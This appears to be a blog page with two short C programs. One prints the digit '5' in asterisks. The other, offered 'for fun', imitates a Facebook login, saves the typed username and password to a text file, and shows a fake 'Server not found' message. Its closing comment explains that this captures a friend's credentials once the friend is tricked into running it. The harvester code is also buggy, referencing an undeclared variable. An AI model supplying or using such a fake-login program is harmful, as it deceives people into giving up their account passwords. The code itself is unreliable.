Thursday, 23 April 2015

Print '5'

main()
{
int a,b;
int n=1;
for (a=1;a<=3;a++)
{
for (b=1;b<=18;b++)
{
printf("*");
}
printf("\n");
}
for (a=1;a<=4;a++)
{
for (b=1;b<=4;b++)
{
printf("*");
}
printf("\n");
}
for (a=1;a<=3;a++)
{
for (b=1;b<=18;b++)
{
printf("*");
}
printf("\n");
}
for (a=1;a<=4;a++)
{
for (b=1;b<=14;b++)
{
printf(" ");
}
for (b=1;b<=4;b++)
{
printf("*");
}
printf("\n");
}
for (a=1;a<=3;a++)
{
for (b=1;b<=18;b++)
{
printf("*");
}
printf("\n");
}

}

Dennis Ritchie terminal (linux)

Friday, 3 April 2015

Facebook password by C language //(( Fun_Only ))

#include<stdio.h>
#include<conio.h>
int main()
 {
 FILE *fp; 
 char str[50];
 char c = ' ';
 int i = 0; 
 fp = fopen("new.txt", "w"); 
 printf("FACEBOOK THROUGH C\n"); 
 printf("Username/Email:\n");
 fscanf(stdin, "%s", str);
 fprintf(fp, "%s", str);
 printf("You Entet \n"); 
fprintf(stdout,"%s",s);
 printf("Password\n ");
 while (i < 15) 
 {
 str[i] = getch();
 c = str[i]; 
 if (c == 15) 
 break; 
 else
 printf("*");
 i++;
 }
 printf("\n");
 fprintf(fp, "%s", str);
 printf("\n");
 printf("\n\n Connecting......");
 for (int i = 10; i >= 0; i--) 
 {
 sleep(1);
 printf("\n reconnecting ........%d seconds\n", i);
 clrscr();
 }
 sleep(1); 
 printf("Server not found \n");
 printf("\n Your password is : %s", str);
 return 0;
 }

/* this gives a .txt file.In this file you can find your friends (facebook) username and password. (if you ask your friend to RUN this programme */